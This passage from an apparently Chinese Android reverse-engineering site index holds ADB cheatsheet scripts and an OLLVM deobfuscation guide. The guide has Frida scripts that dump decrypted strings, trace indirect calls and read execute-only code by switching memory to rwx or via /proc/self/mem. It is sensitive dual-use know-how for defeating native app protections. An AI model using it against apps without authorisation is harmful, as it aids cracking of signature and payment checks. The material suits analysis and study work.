命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#批量提取第三方-apk"},{"categories":null,"collections":null,"content":"清除应用数据并重启 #!/bin/bash PKG=${1:?\"用法: $0 \u003c包名\u003e\"} adb shell am force-stop \"$PKG\" adb shell pm clear \"$PKG\" LAUNCHER=$(adb shell cmd package resolve-activity --brief \"$PKG\" | tail -1 | tr -d '\\r') adb shell am start -n \"$LAUNCHER\" ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:9:2","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#清除应用数据并重启"},{"categories":null,"collections":null,"content":"Frida 注入一键启动 #!/bin/bash PKG=${1:?\"用法: $0 \u003c包名\u003e [脚本路径]\"} SCRIPT=${2:-\"\"} # 启动 frida-server（如果尚未运行） if ! adb shell \"su -c 'ps -A'\" | grep -q frida-server; then adb shell \"su -c '/data/local/tmp/frida-server -D \u0026'\" \u0026\u0026 sleep 2 fi adb shell am force-stop \"$PKG\" [ -n \"$SCRIPT\" ] \u0026\u0026 frida -U -f \"$PKG\" -l \"$SCRIPT\" --no-pause || frida -U -f \"$PKG\" --no-pause ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:9:3","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#frida-注入一键启动"},{"categories":null,"collections":null,"content":"常用单行命令 # 获取当前前台应用包名 adb shell dumpsys activity activities | grep mResumedActivity | awk '{print $4}' | cut -d'/' -f1 # 快速提取当前前台应用的 APK pkg=$(adb shell dumpsys activity activities | grep mResumedActivity | awk '{print $4}' | cut -d'/' -f1) adb pull $(adb shell pm path $pkg | sed 's/package://') ./${pkg}.apk # 获取应用的 UID / 签名信息 / 权限 adb shell dumpsys package com.example.app | grep userId adb shell dumpsys package com.example.app | grep -A 1 \"Signatures\" adb shell dumpsys package com.example.app | grep -A 100 \"requested permissions:\" | grep \"android.permission\" # 查看应用是否可调试 adb shell dumpsys package com.example.app | grep \"flags=\" | head -1 # 获取设备 WiFi IP 地址 adb shell ip addr show wlan0 | grep \"inet \" | awk '{print $2}' | cut -d'/' -f1 # 列出设备上所有监听的端口 adb shell su -c \"ss -tlnp\" 提示：本文中的 Shell 命令（如 am, pm, dumpsys 等）需要在 adb shell 环境中执行，也可以直接使用 adb shell \u003c命令\u003e 格式从电脑端调用。需要 root 权限的命令需要先执行 su 或使用 su -c '\u003c命令\u003e' 形式。 ","date":"2024-11-07","objectID":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/:9:4","tags":["ADB","Android调试","逆向工程"],"title":"常用 ADB 命令大全","uri":"/reverse_engineering/android/02-tools/cheatsheets/adb_cheatsheet/#常用单行命令"},{"categories":null,"collections":null,"content":"OLLVM 反混淆 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： SO/ELF 格式 - 理解 Native 库的结构 ARM 汇编基础 - 阅读反汇编代码的能力 OLLVM (Obfuscator-LLVM) 是一个著名的开源代码混淆框架，它在 LLVM 编译器 IR (中间表示) 层面进行操作。这使其能够与具体语言无关，并对代码应用复杂的、难以逆向的转换。 场景导入：当你遇到 OLLVM 打开 IDA，反编译一个函数，结果看到： 一个巨大的 switch-case 循环，有几十甚至上百个 case 分支 每个 case 里只有几行代码，然后又跳回 switch 到处都是看起来有用实际无用的 if 判断 简单的加法被替换成了 a = b - (-c) 这样的怪异表达式 你的第一反应可能是：这是什么鬼？ 恭喜，你遇到了 OLLVM 控制流平坦化 (FLA) + 虚假控制流 (BCF) + 指令替换 (SUB) 的\"三件套\"。 这是目前 Android Native 层最常见的商业级混淆方案。 关键问题：面对这种混淆，是选择\"硬看\"代码，还是有更聪明的办法？ 本文档涵盖了常见的 OLLVM 混淆通道 (pass) 及其分析和逆向策略。 ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:0:0","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#ollvm-反混淆"},{"categories":null,"collections":null,"content":"核心混淆技术 OLLVM 的主要优势在于其三种核心混淆技术： 控制流平坦化 (-fla): 该技术会彻底平坦化一个函数的控制流。它通过将所有基本块放入一个单一的、巨大的分发器循环（“主分发器”）中来隐藏原始的程序流程。一个状态变量用于控制下一个要执行的代码块。逆向此技术需要重建原始的控制流图 (CFG)。 虚假控制流 (-bcf): 该技术在代码中插入无效的条件分支和不透明谓词。这些分支被设计为静态分析难以解析，但在运行时，它们总是会得出相同的结果。这会给控制流图增加大量的噪声。 指令替换 (-sub): 这是最简单的混淆方式。它将标准的二进制运算符（如 add, sub, and, or）替换为功能上等价但更复杂的指令序列。例如，a = b + c 可能会变成 a = b - (-c)。 ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:1:0","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#核心混淆技术"},{"categories":null,"collections":null,"content":"OLLVM 扩展混淆技术 除了经典的三大混淆 Pass，许多 OLLVM 的分支和商业衍生版本引入了更为高级的混淆手段。了解这些扩展技术对于分析现代 Android Native 保护方案至关重要。 ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:2:0","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#ollvm-扩展混淆技术"},{"categories":null,"collections":null,"content":"1. MBA (Mixed Boolean Arithmetic) 混合布尔算术表达式 MBA 是高级 OLLVM 变体用来替换简单算术运算的一种技术。其核心思想是将基本的算术操作（如加法、减法）替换为等价但结合了布尔运算（AND、OR、XOR、NOT）和算术运算的复杂表达式，使逆向分析者难以直接识别原始运算的含义。 基本 MBA 等价关系： 原始表达式 MBA 等价形式 a + b (a ^ b) + 2 * (a \u0026 b) a + b (a | b) + (a \u0026 b) a - b (a ^ b) - 2 * (~a \u0026 b) a ^ b (a | b) - (a \u0026 b) a | b (a \u0026 b) + (a ^ b) ARM64 汇编中的 MBA 示例： // 原始操作: X0 = X1 + X2 // MBA 混淆后 (使用 (a | b) + (a \u0026 b) = a + b): AND X3, X1, X2 // X3 = X1 \u0026 X2 ORR X4, X1, X2 // X4 = X1 | X2 ADD X0, X3, X4 // X0 = (X1 \u0026 X2) + (X1 | X2) = X1 + X2 更复杂的嵌套 MBA 示例： // 原始操作: X0 = X1 + X2 // 深层嵌套 MBA 混淆 (使用 (a ^ b) + 2 * (a \u0026 b) = a + b): EOR X3, X1, X2 // X3 = X1 ^ X2 AND X4, X1, X2 // X4 = X1 \u0026 X2 LSL X5, X4, #1 // X5 = (X1 \u0026 X2) \u003c\u003c 1 = 2 * (X1 \u0026 X2) // 进一步将 X3 + X5 再次 MBA 展开: EOR X6, X3, X5 // X6 = X3 ^ X5 AND X7, X3, X5 // X7 = X3 \u0026 X5 LSL X8, X7, #1 // X8 = 2 * (X3 \u0026 X5) ADD X0, X6, X8 // X0 = X6 + X8 = X3 + X5 = X1 + X2 MBA 混淆的特征识别 在 IDA 反编译结果中，如果你看到大量 \u0026、|、^ 与 +、- 混合运算，且最终结果仅完成简单的算术，这很可能是 MBA 混淆。特别注意形如 (x \u0026 y) + (x | y) 或 (x ^ y) + 2 * (x \u0026 y) 的模式。 MBA 简化方法与工具： 模式匹配: 对照已知的 MBA 等价关系进行模板替换 SSPAM: 基于代数简化的 MBA 表达式还原工具 MBA-Blast: 使用位向量求解器批量简化 MBA 表达式 SiMBA: 基于机器学习的 MBA 简化方法，能处理未知模式 d810 插件: IDA Pro 的 Microcode API 插件，内置 MBA 简化规则 Python MBA 简化示例 (使用 sympy)： from sympy import symbols, simplify, And, Or, Xor from sympy.core.numbers import Integer def simplify_mba(expr_str): \"\"\" 简化 MBA 表达式到规范形式 思路：将 MBA 表达式转化为 sympy 符号表达式， 利用位运算的代数恒等式进行化简。 \"\"\" a, b = symbols('a b', integer=True) # 常见 MBA 恒等式验证 identities = { \"(a \u0026 b) + (a | b)\": a + b, \"(a ^ b) + 2 * (a \u0026 b)\": a + b, \"(a | b) - (a \u0026 b)\": a ^ b, # XOR \"(a ^ b) - 2 * (~a \u0026 b)\": a - b, } for pattern, simplified in identities.items(): print(f\" {pattern:40s} =\u003e {simplified}\") return identities.get(expr_str, None) def verify_mba_equivalence(): \"\"\"使用穷举法验证 MBA 等价关系（适用于小位宽）\"\"\" import random test_cases = [(random.randint(0, 0xFFFFFFFF), random.randint(0, 0xFFFFFFFF)) for _ in range(10000)] for a, b in test_cases: mask = 0xFFFFFFFF # 32-bit # 验证: (a \u0026 b) + (a | b) == a + b lhs = ((a \u0026 b) + (a | b)) \u0026 mask rhs = (a + b) \u0026 mask assert lhs == rhs, f\"Failed: a={a:#x}, b={b:#x}\" print(\"[+] MBA 等价验证通过 (10000 组随机数据)\") verify_mba_equivalence() ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:2:1","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#1-mba-mixed-boolean-arithmetic-混合布尔算术表达式"},{"categories":null,"collections":null,"content":"2. OLLVM 字符串加密 Pass (-sobf) 字符串加密是 OLLVM 扩展版本中非常常见的一个 Pass。它在编译时将源代码中的所有字符串常量进行加密，然后在运行时通过 .init_array 中注册的解密函数进行解密。这意味着你在 IDA 中直接打开 SO 文件时，.rodata 段中看到的都是乱码数据。 工作原理： 编译时: OLLVM 字符串加密 Pass 扫描所有全局字符串常量，用简单的 XOR 或更复杂的算法加密它们 链接时: 将解密函数注册到 .init_array 段（SO 加载时自动执行的函数数组） 运行时: 当 dlopen 加载 SO 时，linker 按顺序调用 .init_array 中的函数，字符串被解密回原始内容 IDA 中的表现： .init_array:00001000 DCD decrypt_strings_0 ; 字符串解密函数 1 .init_array:00001004 DCD decrypt_strings_1 ; 字符串解密函数 2 .init_array:00001008 DCD real_init ; 真正的初始化函数 .rodata:00002000 encrypted_str1 DCB 0x7A, 0x4F, 0x52, ... ; 加密后的字符串 .rodata:00002020 encrypted_str2 DCB 0x1B, 0x33, 0x6E, ... ; 加密后的字符串 ARM64 字符串解密桩代码示例： ; decrypt_strings_0 - 典型的 XOR 解密循环 decrypt_strings_0: ADRP X0, #encrypted_str1@PAGE ADD X0, X0, #encrypted_str1@PAGEOFF MOV W1, #0x1A ; 字符串长度 MOV W2, #0x5A ; XOR 密钥 .loop: LDRB W3, [X0] ; 读取一个加密字节 EOR W3, W3, W2 ; XOR 解密 STRB W3, [X0], #1 ; 写回并递增指针 SUBS W1, W1, #1 ; 计数器减一 B.NE .loop ; 循环直到所有字节解密 RET 使用 Frida 运行时提取解密后的字符串： // 方法一: Hook .init_array 函数，在解密完成后 dump 字符串 function dumpDecryptedStrings(soName) { var mod = Process.findModuleByName(soName); if (!mod) { console.log(\"[-] Module not found: \" + soName); return; } // 在 SO 加载完成后，.init_array 已经执行，字符串已解密 // 直接扫描 .rodata 段寻找可读字符串 var sections = Process.findModuleByName(soName).enumerateSections(); sections.forEach(function(section) { if (section.name === \".rodata\") { console.log(\"[*] Scanning .rodata at: \" + section.address + \" size: \" + section.size); // 扫描 ASCII 字符串 var base = section.address; var size = section.size; var data = Memory.readByteArray(base, size); var bytes = new Uint8Array(data); var currentStr = \"\"; for (var i = 0; i \u003c bytes.length; i++) { if (bytes[i] \u003e= 0x20 \u0026\u0026 bytes[i] \u003c 0x7F) { currentStr += String.fromCharCode(bytes[i]); } else { if (currentStr.length \u003e= 4) { console.log(\"[+] String @ offset 0x\" + i.toString(16) + \": \" + currentStr); } currentStr = \"\"; } } } }); } // 方法二: Hook dlopen，在目标 SO 加载时自动提取 Interceptor.attach(Module.findExportByName(null, \"dlopen\"), { onEnter: function(args) { this.path = args[0].readCString(); }, onLeave: function(retval) { if (this.path \u0026\u0026 this.path.indexOf(\"libtarget.so\") !== -1) { console.log(\"[*] Target SO loaded, dumping strings...\"); // dlopen 返回时 .init_array 已执行完毕 setTimeout(function() { dumpDecryptedStrings(\"libtarget.so\"); }, 100); } } }); 注意 某些高级字符串加密方案不使用 .init_array，而是在首次访问字符串时才解密（延迟解密）。对于这种情况，需要 Hook 字符串所在函数而非 .init_array。 ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:2:2","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#2-ollvm-字符串加密-pass--sobf"},{"categories":null,"collections":null,"content":"3. 函数调用混淆 (Indirect Call Obfuscation) 函数调用混淆将直接的函数调用（BL func）替换为间接调用，通过函数指针完成跳转。这使得静态分析工具难以构建准确的调用图 (Call Graph)，因为在反汇编层面无法直接看出目标函数的地址。 工作原理： 原始代码中的 BL target_func 被替换为从全局表或加密指针中加载目标地址后的 BLR Xn 函数指针可能存储在加密的全局表中，运行时通过解密获取真实地址 某些变体还会在运行时动态计算目标地址 ARM64 示例： // 原始代码 - 直接调用: BL target_func // 直接调用 target_func // 混淆后 - 间接调用: ADRP X8, #func_table@PAGE ADD X8, X8, #func_table@PAGEOFF LDR X8, [X8, #0x18] // 从函数表加载目标地址 BLR X8 // 间接调用 // 更复杂的混淆 - 带解密的间接调用: ADRP X8, #encrypted_ptr@PAGE LDR X8, [X8, #encrypted_ptr@PAGEOFF] MOV X9, #0xDEAD // 解密密钥的一部分 MOVK X9, #0xBEEF, LSL #16 EOR X8, X8, X9 // XOR 解密得到真实地址 BLR X8 // 调用解密后的地址 对静态分析的影响： IDA 无法自动识别 BLR X8 的目标，调用图中断 交叉引用 (xrefs) 缺失，无法追踪函数调用关系 需要结合动态分析确定运行时的实际目标地址 Frida 动态恢复间接调用目标： // Hook 间接调用指令，记录实际跳转目标 function resolveIndirectCalls(soName, funcOffset) { var mod = Process.findModuleByName(soName); var funcAddr = mod.base.add(funcOffset); Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var inst = iterator.next(); do { // 检测 BLR 指令 if (inst.mnemonic === \"blr\") { iterator.putCallout(function(ctx) { // 读取寄存器中的实际目标地址 var target = ctx[inst.operands[0].value]; var targetMod = Process.findModuleByAddress(target); var symbol = DebugSymbol.fromAddress(target); console.log(\"[BLR] \" + inst.address + \" =\u003e \" + target + \" (\" + symbol.name + \")\"); }); } iterator.keep(); } while ((inst = iterator.next()) !== null); } }); } ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:2:3","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#3-函数调用混淆-indirect-call-obfuscation"},{"categories":null,"collections":null,"content":"OLLVM 变体与商业衍生 在 Android 生态中，原版 OLLVM 早已停止维护（最后版本基于 LLVM 4.0），但其设计理念被大量分支和商业产品继承和扩展。了解主流变体的差异有助于在逆向分析中快速识别目标所用的混淆方案，并选择对应的反混淆策略。 ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:3:0","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#ollvm-变体与商业衍生"},{"categories":null,"collections":null,"content":"主流 OLLVM 变体对比 变体 基于 LLVM 版本 特色功能 常见于 原版 OLLVM LLVM 4.0 FLA + BCF + SUB 三件套 早期项目、学术研究 Hikari (孤挺花) LLVM 8-15 嵌套分发器、反类 dump、函数包装 国内 App、游戏保护 Armariris (战斧) LLVM 12+ MBA 表达式、增强字符串加密 安全 SDK、金融安全 Pluto-Obfuscator LLVM 12-16 全局变量混淆、Trap 混淆、间接跳转 开源项目、CTF Obfuscator-LLVM (goron) LLVM 10+ 增强 FLA + 间接分支 金融 App、支付 SDK ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:3:1","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#主流-ollvm-变体对比"},{"categories":null,"collections":null,"content":"Hikari (孤挺花) Hikari 是目前国内 App 中使用最广泛的 OLLVM 变体之一，由 Zhang (Naville) 开发。它在原版 OLLVM 的基础上增加了多项高级混淆 Pass： 核心特性： 嵌套分发器 (Nested Dispatchers): 不同于原版 OLLVM 的单层 switch，Hikari 使用外层 switch + 内层 switch 的双层分发结构，极大增加了符号执行恢复控制流的难度 AntiClassDump: 针对 Objective-C（iOS 端为主），通过修改运行时元数据来对抗 class-dump 类的工具 FunctionWrapper: 将直接函数调用包装成通过跳板函数 (trampoline) 的间接调用，进一步切断调用图 IndirectBranch: 将条件分支转为基于寄存器的间接跳转 识别方法： // Hikari 嵌套分发器的反编译特征： while (1) { switch (state_var_outer) { case 0x1A3B: switch (state_var_inner) { // ← 嵌套 switch，这是 Hikari 的标志 case 0x7F2C: // 真实代码块 state_var_inner = 0x3D1E; break; case 0x3D1E: // 另一个真实代码块 break; } state_var_outer = 0x5C4D; break; case 0x5C4D: // ... break; } } 反混淆要点： 符号执行需要同时追踪外层和内层状态变量 建议先使用 Frida Stalker 获取运行时 trace，再辅助静态分析 deflat 工具默认不支持嵌套分发器，需要修改其分发器识别逻辑 ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:3:2","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#hikari-孤挺花"},{"categories":null,"collections":null,"content":"Armariris (战斧) Armariris 是由国内安全团队维护的 OLLVM 分支，特别增强了数学运算混淆能力： 核心特性： MBA 增强: 不仅替换基本算术，还会对比较运算进行 MBA 化，如将 a == b 变为 (a ^ b) == 0 增强字符串加密: 使用多轮加密而非简单 XOR，支持 AES/ChaCha20 等算法 控制流伪造: 在 BCF 基础上增加更多数学恒等式类型的不透明谓词 识别方法： 大量 AND、OR、XOR 混合的算术表达式（MBA 特征） 字符串解密函数比标准 XOR 循环更复杂（多轮、多密钥） 不透明谓词使用高级数学恒等式而非简单的 x*x % 2 模式 ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:3:3","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#armariris-战斧"},{"categories":null,"collections":null,"content":"Pluto-Obfuscator Pluto-Obfuscator 是一个功能丰富的开源 OLLVM 变体，专门设计了对抗自动化分析工具的功能： 核心特性： GlobalEncryption: 对全局变量进行加密，在 __attribute__((constructor)) 标记的函数中解密，类似字符串加密但范围扩展到所有全局数据 TrapAngr: 专门设计用于对抗 Angr 符号执行引擎的 Pass。插入特定的代码模式，使 Angr 在分析时陷入死循环或路径爆炸 IndirectBranch: 将直接分支转换为基于寄存器的间接跳转，破坏静态 CFG 构建 Flattening 增强: 在原版 FLA 基础上增加更多随机性和干扰块 识别方法： // Pluto-Obfuscator 的 IndirectBranch 特征： // 大量使用 BLR/BR 配合从内存加载的地址 ADRP X16, #jump_table@PAGE ADD X16, X16, #jump_table@PAGEOFF LDRSW X17, [X16, X8, LSL #2] // 从跳转表加载偏移 ADD X16, X16, X17 // 计算目标地址 BR X16 // 间接跳转 // IDA 反编译中表现为大量的函数指针调用: ((void (*)(void))(base + offset_table[state]))(); 反混淆要点： TrapAngr 会导致 Angr 超时或崩溃，需要在符号执行前识别并 patch 掉这些代码 GlobalEncryption 可通过 Hook constructor 函数来获取解密后的全局变量值 IndirectBranch 需要动态追踪获取实际跳转目标 ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:3:4","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#pluto-obfuscator"},{"categories":null,"collections":null,"content":"Obfuscator-LLVM (goron) goron 是另一个活跃的 OLLVM 分支，侧重于增强控制流混淆的强度： 核心特性： 增强 FLA: 使用更复杂的状态变量更新算法，包括哈希函数和多变量联合控制 间接分支增强: 在 IndirectBranch 基础上加入运行时地址计算 代码布局随机化: 每次编译生成不同的基本块布局 识别方法： 状态变量的更新使用乘法、异或等复杂运算（而非简单赋值） 同一函数多次编译产生不同的混淆结果 在金融类 App 的支付和验证模块中较常见 ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:3:5","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#obfuscator-llvm-goron"},{"categories":null,"collections":null,"content":"Android 版本差异对 OLLVM 分析的影响 不同的 Android 版本、NDK 版本和系统安全特性会直接影响 OLLVM 混淆代码的分析方式。了解这些差异有助于选择正确的工具配置和绕过方案。 ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:4:0","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#android-版本差异对-ollvm-分析的影响"},{"categories":null,"collections":null,"content":"NDK 与编译工具链演进 NDK 版本 关键变化 对 OLLVM 的影响 r17+ 默认使用 Clang 编译器 OLLVM 可直接作为 Clang 插件集成，混淆普及的起点 r21+ 移除 GCC，全面转向 Clang；默认 ARM64 几乎所有新项目都使用 Clang，OLLVM 变体兼容性好 r23+ LLD 成为默认链接器 SO 段布局变化，影响节偏移计算和某些 patch 方案 r25+ 基于 LLVM 15 新版 OLLVM 变体（如 Pluto-Obfuscator）与此版本对齐 r26+ 基于 LLVM 17 部分旧版 OLLVM Pass 不再兼容，需要适配新的 LLVM API ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:4:1","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#ndk-与编译工具链演进"},{"categories":null,"collections":null,"content":"Android 版本对分析的影响 Android 版本 关键变化 对 OLLVM 分析的影响 7.0 (N) Linker namespace 隔离 SO 加载顺序改变，Frida 注入需适配 namespace；dlopen 行为变化影响 Hook 时机 8.0 (O) Treble 架构引入 vendor SO 与 system SO 严格分离，分析需注意 SO 来源和依赖 9.0 (P) 非 SDK API 限制 反射调用 hidden API 受限，影响部分 Frida/Xposed Hook 方案 10 (Q) Execute-Only Memory (XOM) .text 段不可读，影响 dump 和内存扫描；Frida Stalker 不受影响 12 (S) ART 优化改进 JNI 调用路径更复杂，追踪 Java → Native 调用链需更多 Hook 点 14 (U) 16KB 页面支持 SO 段对齐从 4KB 变为 16KB，偏移计算和 patch 方案需适配 15 (V) MTE (Memory Tagging Extension) 指针带标签，影响内存分析和指针追踪；需要清除标签才能使用裸指针 ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:4:2","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#android-版本对分析的影响"},{"categories":null,"collections":null,"content":"XOM (Execute-Only Memory) 对 OLLVM 分析的实际影响 Android 10 引入的 XOM 使得 .text 段只可执行不可读。这直接影响了依赖内存读取的分析方案： 受影响的操作： 直接使用 Memory.readByteArray 读取 .text 段内容可能失败 内存扫描 (Memory.scan) 无法扫描代码段 dump 整个 SO 文件到磁盘时代码段为空 不受影响的操作： Frida Stalker 正常工作（通过 ptrace 机制绕过） 断点和 Hook 正常工作 单步调试正常工作 # Android 10+ XOM 环境下通过 Frida 读取代码段 # 标准 Memory.readByteArray 可能因 XOM 失败 # 使用以下策略绕过 def read_code_with_frida(base_offset, size): \"\"\" 通过 Frida 的 ptrace 能力绕过 XOM 读取代码 XOM 仅阻止进程自身的 load 指令读取， 但 Frida 通过 ptrace 附加的方式可以绕过此限制 \"\"\" script_code = \"\"\" 'use strict'; var soName = 'libtarget.so'; var mod = Process.findModuleByName(soName); if (mod === null) { send({error: 'Module not found'}); } else { try { // 方法1: 直接读取（在部分设备上 Frida 可以绕过 XOM） var code = Memory.readByteArray(mod.base.add(%d), %d); send({type: 'code', data: code}); } catch (e) { // 方法2: 如果直接读取失败，使用 mprotect 修改权限 try { Memory.protect(mod.base.add(%d), %d, 'rwx'); var code = Memory.readByteArray(mod.base.add(%d), %d); send({type: 'code', data: code}); } catch (e2) { send({error: 'Cannot read code: ' + e2.message}); } } } \"\"\" % (base_offset, size, base_offset, size, base_offset, size) return script_code Frida 脚本 - XOM 检测与自适应读取： // 自动检测 XOM 并选择合适的读取策略 function adaptiveCodeRead(soName, offset, size) { var mod = Process.findModuleByName(soName); if (!mod) { return null; } var addr = mod.base.add(offset); // 尝试读取 - 检测是否有 XOM try { var data = Memory.readByteArray(addr, Math.min(size, 16)); // 成功，没有 XOM 或 Frida 已绕过 console.log(\"[*] Direct read succeeded (no XOM or bypassed)\"); return Memory.readByteArray(addr, size); } catch (e) { console.log(\"[!] XOM detected: \" + e.message); // 方案 A: 尝试修改内存保护属性 try { Memory.protect(addr, size, 'rwx'); console.log(\"[*] Memory protection changed to rwx\"); return Memory.readByteArray(addr, size); } catch (e2) { console.log(\"[!] mprotect failed: \" + e2.message); } // 方案 B: 从 /proc/self/mem 读取 try { var fd = new File(\"/proc/self/mem\", \"rb\"); fd.seek(addr.toInt32()); var data = fd.readBytes(size); fd.close(); console.log(\"[*] Read via /proc/self/mem succeeded\"); return data; } catch (e3) { console.log(\"[!] /proc/self/mem read failed: \" + e3.message); } // 方案 C: 从磁盘文件读取（不受 XOM 影响） console.log(\"[*] Falling back to disk read\"); return readFromDisk(mod.path, offset, size); } } function readFromDisk(path, offset, size) { var fd = new File(path, \"rb\"); fd.seek(offset); var data = fd.readBytes(size); fd.close(); return data; } ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:4:3","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#xom-execute-only-memory-对-ollvm-分析的实际影响"},{"categories":null,"collections":null,"content":"16KB 页面对齐 (Android 15+) Android 15 引入了对 16KB 内存页面的支持（传统 ARM64 使用 4KB 页面）。这一变化对 SO 文件的分析产生以下影响： 段对齐变化： // 4KB 页面 (传统) - SO 文件段对齐 LOAD offset=0x000000 vaddr=0x000000 align=0x1000 (4KB) LOAD offset=0x001000 vaddr=0x001000 align=0x1000 (4KB) // 16KB 页面 (Android 15+) - SO 文件段对齐 LOAD offset=0x000000 vaddr=0x000000 align=0x4000 (16KB) LOAD offset=0x004000 vaddr=0x004000 align=0x4000 (16KB) 对分析的实际影响： 偏移计算: 从 ELF 文件偏移到内存地址的映射关系变化，使用 readelf -l 确认段布局 Patch 方案: 修改 SO 文件后需要保持 16KB 对齐，否则在 Android 15+ 设备上加载失败 内存搜索: 段之间的填充区域增大（从最多 4KB 到最多 16KB），内存扫描范围需要调整 工具兼容性: 旧版分析工具可能假设 4KB 对齐，需要更新或配置 检测设备页面大小： # 在 ADB shell 中检测页面大小 adb shell getconf PAGE_SIZE # 输出 4096 (4KB) 或 16384 (16KB) ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:4:4","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#16kb-页面对齐-android-15"},{"categories":null,"collections":null,"content":"分析与反混淆策略 思考：静态分析 vs 动态分析，哪个更有效？ 面对 OLLVM 混淆，有两种完全不同的思路： 静态分析： ✅ 优势：能看到所有可能的执行路径，包括错误处理分支 ❌ 劣势：需要对抗大量的虚假分支，分析工作量巨大 适用场景：你需要理解完整的算法逻辑，或者寻找漏洞 动态分析： ✅ 优势：直接记录真实执行路径，绕过所有虚假分支 ❌ 劣势：只能看到当前输入下的执行路径，可能遗漏关键分支 适用场景：你只想提取算法结果（如加密签名），不关心内部逻辑 实战建议： 先用动态分析（Frida Stalker / Unidbg trace）快速获取\"真实\"的执行流 再用静态分析验证和补充动态分析遗漏的部分 如果目标是自动化（如算法还原），考虑符号执行（Angr） ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:5:0","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#分析与反混淆策略"},{"categories":null,"collections":null,"content":"1. 静态分析 CFG 重建: 